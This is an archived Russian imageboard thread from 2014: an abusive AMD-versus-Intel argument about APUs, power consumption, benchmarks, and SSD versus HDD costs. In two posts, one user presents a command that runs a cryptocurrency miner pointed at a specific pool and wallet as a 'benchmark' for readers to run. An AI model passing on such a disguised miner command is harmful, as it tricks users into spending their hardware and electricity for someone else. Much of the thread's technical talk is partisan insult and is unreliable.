Двач.hk не отвечает.
Вы видите копию треда, сохраненную 24 августа 2014 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
1600 Кб, 2522x2817
AMD A10 7850K vs 6800K ТЕХПРОЦЕС #522584 В конец треда | Веб
ВОЗЬМЕМ AMD A10 7850K vs 6800K
AMD A10 7850K МЕНЬШЕ ТЕХ ПРОЦЕСС ЗАТО МЕНЬШЕ ЧАСТОТА И РАЗГОННЫЙ ПОТЕНЦИАЛ
AMD A10 6800K БОЛЬШЕ ТЕХ ПРОЦЕСС БОЛЬШЕ ЧАСТОТА И РАЗГОННЫЙ ПОТЕНЦИАЛ

ТУТ МЫ ИМЕЕМ ВЕРШИНУ КОНСТУКТОРСКОЙ МЫСЛИ ПРЕДСТАВЛЕННУЮ С 2Х РАКУРСОВ
УМЕНЬШЕНИЕ ТЕХПРОЦЕССА УЖЕ НЕ ДАЕТ ПРИЕМУЩЕСТВ Т.К. ОГРАНИЧИВАЕТ ТАКТОВУЮ ЧАСТОТУ
ФАКТИЧЕСКИ МЕЛКИЙ ТЕХПРОЦЕСС ТЕХПРОЦЕСС ДАЕТ ВОЗМОЖНОСТЬ РАЗМЕСТИТЬ В ПРОДУКТЕ БОЛЬШЕ МЕНЕЕ СКОРОСНЫХ ВЫЧЕСЛИТЕЛЬНЫХ ЕДЕНИЦ
ЧТО ДЕЛАЕТ ИНТЕЛ? ИНТЕЛ ДРОЧИТ НА КОНКРЕТНО НА ТЕСТЫ
АМД ЖЕ СТРОЕТ АРЖИТЕКТУРУ ТКАК КАК СЧИТАЕТ ЛУЧШЕ А ПРОГРАММИСТЫ УЖЕ ПОДСТРАИВАЮТСЯ
РЕЗУЛЬТАТЫ ИГРОВЫХ ТЕСТОВ ПОДДТВЕРЖДАЮТ
sage #2 #522589
>>522584

>РЕЗУЛЬТАТЫ ИГРОВЫХ ТЕСТОВ ПОДДТВЕРЖДАЮТ


Это те тесты где ай3 и неразогнанные ай5 охлаждают уриной амудешные вафельницы?
#3 #522595
>>522584
Да всем похуй, тут народ еще лет 5 на феномах будет сидеть.
#4 #522611
>>522595
Только нищие школьники, остальные уже проапгрейдились на хасвелл.
#5 #522614
>>522611
Проапгрейдились только жертвы маркетолов, остальные уже поняли, что кремний ВСЁ. Тут необязательно феномы, еще норм пацаны на квадах сидят.
#6 #522623
>>522584
АМуДаун незаметен. Иди колбаски на своем "чуде инженерной мысли" пожарь, что ли.
sage #7 #522641
>>522614
Я с АМД Атлон64 х2 5200+ пересел на I5-3570 и уже 2 года насмехаюсь над даунами которые не захотели пересесть на такую долгоживущую платформу
#8 #522643
>>522641
AMD FX БУДЕТ ЖИТЬ ВЕЧНА!
#9 #522644
>>522641

До сих пор сижу на 2500k@5000 и ссу в ротан ивиблядям и хуйсвелопидорахам.
#10 #522648
>>522584

>ВОЗЬМЕМ AMD A10 7850K vs 6800K


>МЕНЬШЕ ТЕХ ПРОЦЕСС ЗАТО МЕНЬШЕ ЧАСТОТА И РАЗГОННЫЙ ПОТЕНЦИАЛ



sort of дебил.

На одном числе нанометров ВНЕЗАПНО есть разные техпроцессы.
7850к слеплен на техпроцессе для видях (было бы странно, если нет, с такой-то встройкой больше чем в половину кристалла) + с использованием более компактной разводки, чем у 6800k. Отсюда и фигня с частотами, жручестью и нагревом.

У AMD сейчас только один путь - улучшать процессорную и видеочасть на предмет IPC и запиливать DDR4.
Потому что на этом техпроцессе проц уже упёрся в частоты, а видяха наглухо упёрлась в память.

// невыспавшийся APU-кун.
114 Кб, 751x659
#11 #522650
>>522641

> Я с АМД Атлон64 х2 5200+ пересел на I5-3570


Ну такой апгрейд еще имеет смысл, а вот феномобогам менять свою девственность на конскую сперму это уже полный долбоебизм.
#12 #522654
>>522648
Тут бродвел выйдет, впаянный в материнку и с ддр4. Амд под конец года даже со своими апу начнет сосать.
#13 #522657
>>522654

>впаянный в материнку



И вот тут-то всё медной пиздой и накроется.

>Амд под конец года даже со своими апу начнет сосать.



Возможно, если не подсуетится с выпуском Carizzo. У них даже без DDR4 есть некоторое количество годных доработок.
#14 #522658
>>522654
Угу, точно такие же кукареки были, когда интел айрис готовила к запуску. Ну и где теперь тот айрис?
#15 #522666
>>522658

>Ну и где теперь тот айрис?



Ноуты за штуку баксов и выше. В NUC вроде ставят ещё.
Я сначала хотел взять поиграться, а потом наткнулся на багу, когда FPS до нуля падает ВНЕЗАПНО.

// APU-кун.
#16 #522670
>>522666
А хули ты на апу сидишь, мудило? 7770 с пассивным охладом + ай3 с пассивным кулером же просто супер-комбо за минимальные деньги.
#17 #522685
>>522670
ОВЕРПРАЙС
ЛУЧЕ ВЗЯТЬ AMD A10 6800K
#18 #522730
>>522670

У меня до APU были 1100T+5850, FX8120+6850 и FX8320+2x7770.
В итоге продал всё к хуям, игорь то всё ещё тонет.

>хули ты на апу сидишь



Just for lulz. Меня устраивает.
#19 #522734
>>522730

> 1100T+5850


Лол, это было мощнее всего, что ты купли позже.
#20 #522737
>>522685
Успешный АМуДэ господин не может позволить себе CPU+дискретку? Импоссибру! Я то думал, что АМуДаки покупают APU чисто из-за экономии, а не отсутствия денег. Хотя, как можно отказаться от такого-то предложения-выебнуться аж 8-ю бесполезными курузоядрами перед нищедрузьями за копейки.
#21 #522738
>>522737

>кукурузоядрами


Быстрофикс.
#22 #522739
>>522734>>522737>>522738 <- БАТХЕРТ ИНТЕЛОРАБОВ
#23 #522740
>>522734

>это было мощнее всего



Там был квад разлоченный (Я уже не помню, как он в cpu-z виделся), но с хуёвым кристаллом, который выше 3900 не мог категорически.
По сравнению с 8120@4500 он был таки неплох, но 8320@4800 его уже сливал в нули.

А что касается Intel - ну хз, я с них ушел после того, как они 775 сокет слили и на хуйце любителей разгона покрутили.
Показалось, что DUSHA уже не та.
#24 #522742
>>522737

>Я то думал, что АМуДаки покупают APU чисто из-за экономии, а не отсутствия денег.



APU - нишевый продукт. Если брать атлоны на FM-сокете ещё был смысл, то брать APU можно только если понимать, зачем тебе оно надо.
#25 #522744
>>522739
Скорее выебоны АМуДаков. Вы уже давно попали в рабство ГИХАХЕРЦЕВ и ЯДИР.
#26 #522747
>>522742
Судя по отзывам на Яндекс.Маркете, АМуДэшкольники покупают APU для игры в Срусис. Ну а чо-друзяшки видят что срусис пашет, всего $200 за 2 в 1, и пофигу что греется, имеет рандомную надежность и никакую производительность из-за кукурузы.
sage #27 #522748
>>522648

>7850к слеплен на техпроцессе для видях


Шта?
#28 #522749
>>522742
И зачем это может быть надо? Если тебе играть - видеокарта по-любому нужна. Если тебе не играть - пойдет вообще любая встройка последних лет трех.
#29 #522750
>>522742
ДА- ЧТОБЫ В ИГРЫ ИГРАТЬ
А ИНТЕЛ ДЕЛАТ ПРОЦЫ ЧТОБ СТАРОЕ ОФИСНОЕ ГАВНО МАМОНТА ЗАПУСКАТЬ НА +7% БЫСТРЕЕ ЗА +50% ЦЕНЫ
#30 #522753
AMD A10 7850K/6800K
КРИЗИС ЛЕТАЕТ!
#31 #522758
>>522750
Бугурт нищеуебана.
В большинстве задач процы Intel лучше АМуДэговна, в то время как для игр лучше просто купить дискретку от Nvidia, тот же Титан до сих пор в играх охлаждает мочой как ОМД-видеокарты, так и ОМД-APU. Топовые ОМД-говновидеокарты имеют преимущество только в синтетических тестах, а в играх сосут похлеще своих фанатов.
#32 #522760
>>522749

У них техпроцесс от GloFo, расчитанный на высокую плотность компонентов. С соответствующими требованиями к жручести.
#33 #522768
>>522758
ДАВАЙ ПОСМОТРИ НА КАКИХ ЗАДАЧАХ Intel БЫСТРЕЕ
СИНТЕТИЧЕСКИЕ ТЕСТЫ-МИКРОСОФТ ОФИС-ПРОГРАММЫ ИЗ КАМЕННОГО ВЕКА.
И ЗА +7% СКОРОСТИ В ЕКСКЕЛЕ ОНИ ХОТЯТ +50% ЦЕНЫ
***
Nvidia СНИЖАЕТ КАЧЕСТВО ИЗОБРАЖЕНИЯ И ПРЕНОСИТ ЧАСТЬ РАСЧЕТОВ НА ПРОЦЕССОР - ТОКА ТАК И НАТЯГИВАЕТ ЦЫФЕРКИ В ТЕСТИКАХ
261 Кб, 832x931
#34 #522770
>>522768

> Nvidia СНИЖАЕТ КАЧЕСТВО ИЗОБРАЖЕНИЯ И ПРЕНОСИТ ЧАСТЬ РАСЧЕТОВ НА ПРОЦЕССОР - ТОКА ТАК И НАТЯГИВАЕТ ЦЫФЕРКИ В ТЕСТИКАХ


Скорее наоборот.
#35 #522780
>>522770
Я НЕ ЗНАЮ ГДЕ ТЫ ВЫСРАЛ ЕТУ ГОВНОИГРУ
НО У МЕНЯ КРИЗИС ЛЕТАЕТ
sage #36 #522784
Шизик, ты вернулся! Привет животное, поешь говна.
#37 #522953
>>522780
Съеби уже. Единственное, что ты доказал, так это то, что ОМД-говнище для нищих школьников играющих в говно а-ля срузис.
Справил нужду ОПу в рот.
5 Кб, 354x97
#38 #523136
ВОТ И КОРПУС ЕСТЬ
СОБИРАЕШ ЕБА КОМП РАЗМЕРОМ СО СТАРЫЙ ПЛЕЙТЕШН
ИГРАЕШ В КРИЗИС НА ПЛАЗМЕ!
#39 #523137
>>523136
Будет плохо охлаждаться, такие корпуса годятся только для процессоров с пониженным энергопотреблением. И вообще это говно, а не корпус.
#40 #523141
>>523136
Это гавно потянет FullHD?
#41 #523144
>>522595
У меня феном.
#42 #523154
>>523137
ТЫ ЕГО ВАЩЕ ВИДЕЛ? ТАМ ДЫРЫ ВЕЗДЕ
#43 #523159
>>523141

Не, даже с памятью на 2400 оно 1080р кукурузис только на минималках вытянет.

>>523137

В принципе можно TDP ограничить 45 ваттами, в играх мало что изменится.

// APU-кун.
#44 #523161
>>523159
ЧЕ ТЫ ТУТ ВЫЕБЫВАЕШСЯ?
У ТЕБЯ КАКОЙ APU БЛЯТЬ?
#45 #523187
>>523161

Два 6800к, один 7850k.
Месяц назад отдал 3870k за полной ненадобностью.

// APU-кун.
#46 #523200
>>523187
МАМКЕ СВОЕЙ TDP ограничить 45 ваттами
#48 #523207
>>523201

Low Settings Gameplay at 1920 x 1080p
FPS (Without Fraps)
Min: 14
Max: 22
Avg: 17

Сопельки подбери, жуёба.

>*GPU: AMD Radeon R7 at 720 MHz


>RAM: 8GB Corsair Vengeance at 2133 MHz



У меня на 1020 igp/2400 ram и новыми драйверами было в районе 25 AVG. Но это тоже не айс.
#49 #523254
>>523207
ЧЕ СПИЗДАНУЛ КИКТО НЕ ПОЙМЕТ
#50 #523521
БУМП НАЗЛО ИНТЕЛОПЕАРЩИКАМ И КОНСОЛЕШЛЮХАМ
#51 #524772
бумп
#52 #524829
>>523254
Ненуачо, золотой приставочный стандарт - 720p\30fps, только графон с медиум настройками на пеко-пеко выглядит заметно лучше чем на консольках.
#53 #524891
ПОДДТВЕРЖДАЮТ
Типичные амдбояр. В играх они уделавают, лол.
#54 #524893
>>523136

>СОБИРАЕШ


В школу собирайся давай уже.
322 Кб, 448x591
#55 #525682
#56 #525683
>>522644
2500К лучший процессор, вышел 3.5 года назад а до сих пор даёт за щеку всем, я думаю его на столько же ещё и хватит.
#57 #525712
>>525683
Отличный аутотренинг, бро.
http://www.anandtech.com/bench/product/288?vs=837
#58 #525718
>>525712
ПРОДОЛЖАЙ ДРОЧИТЬ НА ДРЕНЕГРЕЧСКИЕ ПРЕЛОЖЕНИЯ
И ТЕСТЫ КОТОРЫЕ ПУСКАЮТ МНОГОЗАДАСНОМТЬ НА 3 СЕКУНДЫ
ЧТОБЫ ПРОЦ НЕ ПЕРЕГРЕЛСЯ И НЕ СБОРОСИЛ ТАКТОВЫЕ ЧАСТОТЫ
#59 #525803
>>525712
Тупой очкошник сука, сравнивает сэндик на 3.3 когда он легко берет 5ггц.
#60 #525812
>>525803
Прекрасно. Жду убедительный пример стабильного SB на 5 ГГц.
#61 #525814
>>525718
Что, чего случилося-то? Бенчмарки неправильные? Вроде проверяем Intel vs Intel, в т.ч. в любимых однопоточных пиписькомерках - всё как надо.
#62 #525821
>>525814
НОВЫЙ ПРОЦ СБРАСЫВАЕТ ЧАСТОТЫ
БЫСТРЕЕ ТОКА ЕСЛИ 3 СЕКУНДЫ ТЕСТИТЬ
С 12 СЕКУНДЫ СКОРОСТЬ ОДИНАКОВАЯ ИЗЗА СБРОСА ЧАСТОТ
#63 #525823
>>522730
Нахуя ты пересел с HD5850 на сраные обрезки, которые слабее ее на 30%?
#64 #525855
>>525823
Потому что могу.
#65 #529189
СЛИШКОМ МНОГО ИТЕЛОПИАРЩИКОВ НА 1Й
#66 #529191
БЫЛ ИЩЕ ТРЕД СО СБОРКОЙ НА AMD A4 ЗА 5599РУБ НА КОТОРОЙ ВСЕ ЛЕТАЕТ
КУДА ДЕЛИ ТРЭД?
#67 #529210
>>529191
Либо без жесткого диска, либо без корпуса.
http://www.nix.ru/scripts/2basket.php?ssid_override=0684e4d0065e11e4a581002590c35102
6100 рублей. Производительность процессора как у AMD A4-6320, но дешевле на 500 рублей по процессору и на 300 по мамке. Встройка слабее, да. Но можно будет докупить GTX750 с первой зарплаты и играть на средних в фуллхд. А встройка в этом амд всё равно немощная, 720p на минималочках без всякой йобы в 25 фпс.
#68 #529232
>>529210
ПОШЕЛ НАХУЙ СО СВОИМ ИНТЕЛ ЦЕЛЕРОНОМ
#69 #529234
>>529232
Давай дешевле, АМД-ребенок. Только без AM1, им до целерона как до Луны пешком.
#70 #529236
>>529210
У ТЕЯЯ
ВО ПЕРВЫХ СТОИТ САМАЯ ДЕШОВАЯ МАТЬ КОТОРАЯ НЕПОДХОДИТ
ВО ВТОРЫХ ТЫ ПИДОР
ВОТ:
http://www.nix.ru/scripts/2basket.php?ssid_override=0d4e559c066511e4a581002590c35102
ПРАВИЛЬНАЯ СБОРКА
ВСЕ ЛЕТАЕТ И ДОТА 2 И ВСЕ ВСЕ ВСЕ
45 Кб, 328x500
#71 #529387
#72 #529844
ВОТ ВАМ:
>>523136
А ИНТЕЛ- ТОРМОЗНОЙ ОВЕРПРАЙС
40 Кб, 1000x1000
#73 #530090
#74 #530523
453 Кб, 669x2502
#75 #530879
#76 #531781
#77 #531843
Этот тред заставил меня задуматься. Может лучше на амд проапгрейдиться? АМ3+ или ФМ2?
Сейчас с пентиума 4 капчую.
#78 #531989
>>531843
А8-5600к - выбор анона. Конечно стоит, даже на этом проце можно лет 10 будет сидеть, да во все играть, ПОТОМУ ШО МАНТЛ И ДХ12, МОЩНЫЕ ПРОЦЫ ДЛЯ ИГР ТЕПЕРЬ НЕ НУЖНЫ, ОЛОЛО. Плюс встройка охуенная, а покупать проц без встройки в 2014 году - зашквар.
#79 #532393
>>531989
2 модули/4 ядра разве не мало?
Cмущает отсутствие L3-кеша.
#80 #532404
>>532393
Да норм. L3 особой погоды не сделает - тут почитай вся оперативка тебе L3: в новых процах память на уровень ближе к ядру.
#81 #532834
http://www.ixbt.com/news/hard/index.shtml?18/11/73
ЯДРО НЕ МОЖЕТ БЫТЬ ОДНОВРЕМЕННО ЕНЕРГОЕФЕКТИВНЫМ И БЫСТРЫМ
ТЕПЛООТВОД КАК ИЗВЕСНО СЕЙЧАС УЗКОЕ МЕСТО!
#82 #532835
>>532834
ПОЕТОМУ В НОВЫХ КОСОЛЯХ ПО 8 ЯДЕР КАК И В ПРОЦЕССОРАХ ОТ АМД
ИНТЕЛ СОСЕТ, ЧТО ПОДДТВЕРЖДАЕТСЯ ТЕСТАМИ
#83 #534842
БУМП
#84 #538018
Список нужных сообщений:
>>529236
>>523136
>>523201
#85 #538802
БУМП
#86 #538808
Проиграл с амудодаунов. Пруфайте, что этот ваш МАНТОЛ риально работает.
#87 #539844
>>538808
ДАЖЕ ЕСЛИБ И НЕ РАБОТАЛ ИНТЕЛ ВСЕ РАВНО СОСЕТ
69 Кб, 738x695
#88 #539855
>>538808

>ко-ко-ко

#89 #540879
НЕ СЛУШАЙТЕ ПИАРЩИКОВ ИНЕЛА- ДОТА2 ЛЕТАЕТ!
#90 #543245
Список нужных сообщений:
>>529236
>>523136
>>523201
бумп
#91 #543283
А дотан в фулл хд+макс настройками апу потянет?
#92 #543303
>>543283
бамп
64 Кб, 987x603
#93 #544119
#94 #544226
#95 #544235
>>544226
А пруфы есть?
#96 #544293
>>543283
АПУ говно, лучше купить недорогой проц+недорогую видеокарту если уж так денег не хватает. Почему говно? Да потому что перегрев. Ну и ОМД-надежность скажется.
#97 #544329
да похуй знаешь ли, любой школохацкер будет дрочить на ядра и ПРОИЗВАДИТАЛЬНАСТЬ, тактовые частоты шин видеокарт.
и только некоторые обратят внимание еще и на отклик ЖД.

штеудобоярин со штеудом и3 второго поколения, разогнанным гфурсом 650 и ссд вместо харда. не встречал тормозов в кукурузисах и аланвейкоигорах с 2010. охлаждение-2 карлсона на вход (140х140 и 120х120, оба на 7в) и 2 на выход (2х120х120, 12в). в данный момент видяшку разогревают только многокилометровые неоптимизированные батлшипы из Спейс Инженегрс, ажно до 45 градусов

алсо всегда хочется облить уриной колхозных долбоёбов, покупающих в 2014м HDD для игропекарен. ещё бесят уёбки ноющие про ТЫРЕБАВАТЕЛЬНЫЕ игры, у которых ЖД-файлоссанина на 3200 оборотов.
#98 #544373
>>544329
У меня HDD на 2ТБ, 7200 оборотов. Тормозов никаких.
Покупать SSD ради чуть более быстрой загрузки карты/уровня/ОС-глупо, учитывая их стоимость.
Можешь уже начинать вопить про низкую надежность HDD WD, но у меня Тошиба. Как-то так.
#99 #544956
Список нужных сообщений:
>>529236
>>523136
>>523201
бумп
#100 #545112
>>544293

>Да потому что перегрев. Ну и ОМД-надежность скажется.


Хуйню спизданул. Просто за цену APU покупается процессор без видеоведра и дискретная карточка, за те же деньги выйдет мощнее.
#101 #545222
>>545112
нет
#102 #545431
>>544373

>учитывая их стоимость.


Ты отстал от жизни. Хранить террабайтные массивы данных на SSD пока еще достаточно накладно, а вот позволить себе диск под систему/игры/пользовательские файлы может даже самый нищий школьник. Цены уже сопоставимы с HDD тех же объемов. Как-то никто не жаловался на дороговизну покупая идеешные восьмидесятки и стодвадцатки по сто долларов, а сейчас это ебать как дорого стало! От полутора тысяч рублей! Богачи с жиру бесятся! Лучше я куплю себе новую видеокарту за 17 тысяч! Или корпус за 3 тысячи. А SSD это дохуя как дорого!
#103 #545787
>>545431

>Цены уже сопоставимы с HDD тех же объемов


Самый дешевый SSD на 512 ГБ стоит от 8 тысяч рублей(http://market.yandex.ru/model.xml?modelid=7962683&hid=91033)
Самый дешевый почти HDD на 500 ГБ стоит от 1700 рублей (http://market.yandex.ru/model.xml?modelid=7627770&hid=91033)
Где тут сопоставимость, ебана в рот?
#104 #545858
>>545787
Сравни сколько стоили 120Gb HDD когда они были в ходу и сколько сейчас стоит 128Gb SSD. Тебе с какого хуя полутеррабайтник под систему понадобился? Не тупи, я не призываю сравнивать с сегодняшними копеечными ценами за гигабайт жесткого диска, да еще и брать для сравнения самый дешевый винт. Я говорю, что нынешний SSD объема достаточного для системы стоит столько же, сколько стоил в свое время такой же HDD бравшийся под ту же самую винду и несколько игрушек. Поэтому разговоры о дороговизне SSD если предполагается его установить именно для системы, а не для хранения террабайтов анимы - глупы и не соответствуют истине. Вполне недорого стоит же. Ебаных 1,5-3К. Это ссаные копейки.
#105 #545859
>>545858

>Сравни сколько стоили 120Gb HDD когда они были в ходу и сколько сейчас стоит 128Gb SSD


Сравни сколько стоил пека 4ГГц 4-х ядерник в 1954 и в 2014. Сопоставил? Нет? Вот и иди на хуй, мамкин футуролог. Ты бы еще рост ВВП через 200 лет посчитал.
#106 #545862
>>545787
Не-не-не, ты это как-то немного не так делаешь. Да, SSD на 512Gb дествительно стоит 8к, но сопоставимый по скорости хотя хуй он сопоставимый, время доступа все равно дно быстрый жесткий диск на том же SAS интерфейсе стоит около 15К, вот и сравни.
#107 #545880
>>545862

>сравни


>сопоставимый по скорости


Хорошо. Вот есть Lacie 9000378U (http://market.yandex.ru/model-spec.xml?modelid=8555494&hid=91033&track=char), стоит ~38 тысяч рублей, скорость записи/чтения - ~700/~800 (мегабайт в секунду). Но, там не часто используемый "быдлом" Thunderbolt, и весит эта бандура 7,5 килограмм. А объем этого накопителя - 10 ТБ. ДЕСЯТЬ ТЕРАБАЙТ. А теперь сравни цены этого и 20 SSD-шек по 512 ГБ. 38k против 160k рублей. Как-то так.
>>545787-кун
#108 #545956
>>545880
Это ж банальный NAS с рейдом на пяток винтов, причем коньсьюмерский. Можешь в него и SSD'шек насовать, никто не мешает же. Только какой смысл? На HDD реальная скорость передачи у него явно не упрется в скорость тандерболта, да и максималку он выдаст только при линейном чтении каих-нибудь больших файлов. На мелких файлах все равно просядет, как не изъебывайся. Такая же NAS'ка на SAS будет стоить дороже чем эта же, но на SSD и тоже по скорости не догонит SSD вариант. Так что как не прикидывай, а SSD частенько безальтернативный вариант.
#109 #546183
>>545859
При чем тут 1954 год, школоло? За последние 15 лет цена средней пеки практически никак не изменилась. Как было 500 - 1К баксов, так и осталось. Частоты выросли, объемы. Под винду теперь надо не 10, а целых 20 гигабайт. Это никак не меняет того факта, что под систему хватит 120GB винта и только нищий школьник будет кричать что 128GB SSD это дохуя дорогая штука и предназначена исключительно для богачей.
#110 #546218
>>546183

>При чем тут 1954 год, школоло?


Причем тут заря возникновения hdd? школоло?
#111 #546219
>>546183

>Это никак не меняет того факта, что под систему хватит 120GB винта и только нищий школьник будет кричать что 128GB SSD это дохуя дорогая штука и предназначена исключительно для богачей.


Маня ебанулась, зачем тебе 120гб когда за те же деньги можно взять 750, а то и 1000? Это не меняет того факта, что ssd обычному компу как пятое колесо.
#112 #546371
>>546219
ну блять очевидно жэ! маня хочет выебнуться перед жанной тем, что комплюхтор у неё ребутитса в 10 секунд
sage #113 #546519
Возьмем говно и мочу...
#114 #546544
>>546371

>что комплюхтор у неё ребутитса в 10 секунд


Тащемта копютер за 10с ребутится и на hdd, правда только под ОС. Под спермой - нет.
18 Кб, 130x130
#115 #546614
Список нужных сообщений:
>>529236
>>523136
>>523201
#116 #546974
бумп
41 Кб, 600x800
#117 #546976
>>522584
А что если ввести санкции против рашки и не поставлять ей больше процессоры?
#118 #546981
>>546976
И ввести эмбарго на поставки термопасты. Пусть отечественную КПТ-8 мажут с АлСилом.
487 Кб, 340x255
#119 #546986
>>546981
Термопаста это единственное во что они могут из высоких технологий.
#120 #547028
>>546976
Ctqxfc cfvjt elj,yjt dhtvz gthtrhsnm bynthytns? gecnm d hfirt ,eltn cdjq bynthytn? kjrfkmysq? rfr e rbnfz/
#121 #549532
>>549447
и кто-то ведется?
#122 #549562
>>549447
Чо трояно-биткоинт-майнеры скачать бесплатно без смс? Хватит хуйню во все треды пихать.
#123 #549615
>>549535
зачем ты кричишь?
#124 #549702
>>549615
Ему низкая производительность кукурузных ВОСИМЯДИР не позволяет выключить капс.
#125 #549892
>>549891
тяжело жить с 220W TDP?
#126 #549906
>>549891
Нхило у тебя бомбануло, что аж про мамку шутить начал. Уйди отсюда, нищий школьник.
110 Кб, 756x1024
#127 #549921
>>549899
Я жду твоих оправданий, клоун.
384 Кб, 580x2668
#128 #549953
>>549939
Я жду твоих оправданий, клоун.
#129 #550045
>>545956
Двачую. Все верно по полкам объяснил. Упоротые HDD-шники в упор не видят хар-к производительности, дрочат на объем. В эпоху быстрых интернетов. бггг
#130 #550079
ОМДебил с заклинившим капсом слился, расходимся.
#131 #550084
>>550045
Не в каждом Мухосранске есть быстрый интренет, знаешь ли.
#132 #550342
>>549535
Шо то хуйня, шо это хуйня, а все почему?
Потому что AMD!
!C.Y.Raines #133 #552001
>>549447
БУМП
22 Кб, 668x319
!C.Y.Raines #134 #552002
КАЧАЕШ:
https://bitcointalk.org/index.php?topic=632724.0
ЗАПУСКАШ:
"start /low minerd -a cryptonight --threads=6 -o stratum+tcp://monero.crypto-pool.fr:7777 -u 457qSwCG1kK4TvTkxbg6PUNZzJ8nCs6kL5B1MU7b9TmceHCuB4PdqdP9rXUJGfcKhN36iy6ULRteq6pbq4LbqKAyT9cfJqC -p x"
ПОСТИШ РЕЗУЛЬТАТ
(ИНТЕЛОЛОХИ СОСНУЛИ)
-- https://2ch.hk/hw/ (М)
#135 #552169
>>531989
100 ватт не многовато? Сейчас выбираю апгрейд мамка+проц+память между fx 4300 (тут вообще пиздец, 125 ватт) и i3 (54 против 65 у моего атлоши 64)
#136 #552172
>>552169
Не верь интеловским ваттам, а то как бы эти 65вт не превратились в 150-200Вт на деле против 125 у амд.
#137 #552174
>>552172
А откуда инфа про пиздящие интеловские ватты? Просто сокет выбираю, чтоб мамку не менять еще лет 5-6
!C.Y.Raines #139 #552230
>>552178
ПЕРЕВОД НА РУССКИЙ ЗАГОЛОВКА ТАБЛИЫ ПОТРЕБЛЕНИЯ:
Потребляемая мощность (догруз (Cinebench CPU-1))
ТОЕСТЬ ОНИ БЕРУТ РАСЧЕТ ПРОСТЫХ ЧИСЕЛ И ДОПОЛНИТЕЛЬНО ЗАПУСКАЮТ В ФОНЕ Cinebench
-------
ЛИБО НАДИ АНГЛИЙСКИЙ САЙТ, ЕТОТ СЛИШКОМ НЕПОНЯТНЫЙ
ЕСТЬ МИЛЬЕН СПОСОБОВ МАНИПУЛИРОВАТЬ ЕНЕРГОПОТРЕБЛЕНИЕМ ЧЕРЕЗ БИОС
----

ПОШЛИ НАХУЙ СО СВОИМ ИНТЕЛОБЛЯДСКИМ ТЕСТОМ
ВОТ >>552002 НОРМАЛЬНЫЙ ТЕСТ
ОПЕНСОРЦ
ОПТЕМИЗИРОВАН И ПОД ИНТЕЛ И ПОД АМД (САМЫЙ БЫСТРЫЙ И НА ТОМ И НА ДРУГОМ)
>>552002
#140 #552234
>>552230
уебывай, шизанутый
#141 #552242
>>552174
Они сами делают приписку, что написанная мощность - средняя, измеренная по непонятным методикам с учетом погоды на марсе.
Амд же задницей не виляют, пишут просто и понятно: максимальная мощность. Т.е. гарантировано максимальная, "не выше". А у интела - "ну где-то 65вт в среднем, а так - хуй знает".
Дебила со школотестами не слушай, лучше сходи к друзьям с интелом с ваттметром, и убедись сам, что 65Вт - это в простое.
#142 #552246
>>552242

>лучше сходи к друзьям


А может ты сам предоставишь пруфы? Ну давай же, пруфани хоть что-нибудь из своих вскукареков.
!C.Y.Raines #143 #552249
>>552246
СРАВНИ ЦЕНЫ НА МАТЕРИНКИ ПОД ИНТЕЛ И ПОД АМД И ВСЕ ВОПРОСЫ О ПОТРЕБЛЯЕМОЙ МОЩЬНОСТИ ОТПАДУТ
384 Кб, 580x2668
#144 #552252
>>552249
Сравнил, и что мы видим? AMD потребляет в 2.33 раза больше и стоит намного дороже. И ни один из вас этого опровергнуть не может.
#145 #552258
>>552246
Ты лучше попроси пруфануть того школодебила с тестами, что кидает ссылки на толстый сайт. А еще лучше - послушайся его, и приходи через полгодика со свей прохладной, чтобы тебя мог весь /hw/ обоссать. Тут уже были такие герои, до сих пор проигрываем, вспоминая их наивность и лупость.
!C.Y.Raines #146 #552259
>>552252
АМД СТОКА ПОТРЕБЛЯЕТ ПОТОМУ ЧТО ВО СТОЛЬКО РАЗ БЫСТРЕЕ ИНТЕЛА
ИНТЕЛ С ТВОЕЙ КАРТИКЕ ДЕШЕВЛЕ АМД ПОТОМУ ЧТО НАМОГО МЕДЛЕННЕЙ РАБОТЕТ
ИЩЕ ЕСТЬ ВОПРОСЫ?
---
И КОНЧАЙ СЮДА ТАЩИТЬ СВОЙ МУТНЫЙ ГЕРМАНСКИЙ СЦАЙТ
#147 #552267
>>552242
Хочешь сказать, что fx4300/8350 будет пыхать своими 125 ваттами только в макс. нагрузке (т.е., игори, загрузка хуй-пойми-чего с интернетов, плюс барузер с десятком вкладок)?
#148 #552268
>>552259
Но ведь на картинке АМД медленнее и дороже, а еще потребляет в 2 раза больше энергии.
!C.Y.Raines #149 #552272
>>552268
У ТЕБЯ ТАМ ТАБЛИЦА ПОТРЕБЛЕНИЯ НИКАК НЕ СВЯЗАНА С ТАБЛИЦАМИ СКОРОСТИ РАБОТЫ
АМД СТОКА ПОТРЕБЛЯЕТ ПОТОМУ ЧТО ВО СТОЛЬКО РАЗ БЫСТРЕЕ ИНТЕЛА
ИНТЕЛ С ТВОЕЙ КАРТИКЕ ДЕШЕВЛЕ АМД ПОТОМУ ЧТО НАМОГО МЕДЛЕННЕЙ РАБОТЕТ
ИЩЕ ЕСТЬ ВОПРОСЫ?
---
И КОНЧАЙ СЮДА ТАЩИТЬ СВОЙ МУТНЫЙ ГЕРМАНСКИЙ СЦАЙТ
#150 #552283
>>552267

>Хочешь сказать, что fx4300/8350 будет пыхать своими 125 ваттами только в макс. нагрузке (т.е., игори, загрузка хуй-пойми-чего с интернетов, плюс барузер с десятком вкладок)?


Естественно. Без разгона разумеется - с разгоном тдп изменится в большую сторону. В простое - упадет ватт до 40.
Эти 40Вт производит сама электроника чипа под частотной нагрузкой, ну, как невыключенный генератор, типа как в микроволновке. Все остальное - от загрузки исполнительных блоков, да их разгона во время работы вдвое по частотам.
162 Кб, 1174x688
#151 #552284
>>552272
Вот таблица в которой потребление прямо связано с результатами. Почему AMD медленне и потребляет в 2.33 раза больше при том, что стоит дороже?
#152 #552286
>>552283

>В простое - упадет ватт до 40.


Лол. Топовый интел в простое потребляет меньше 8 Ватт.
!C.Y.Raines #153 #552293
>>552284
ПЕРЕВОД НА РУССКИЙ ЗАГОЛОВКА ТАБЛИЫ ПОТРЕБЛЕНИЯ:
Потребляемая мощность (догруз (Cinebench CPU-1))
ТОЕСТЬ ОНИ БЕРУТ РАСЧЕТ ПРОСТЫХ ЧИСЕЛ И ДОПОЛНИТЕЛЬНО ЗАПУСКАЮТ В ФОНЕ Cinebench
#154 #552311
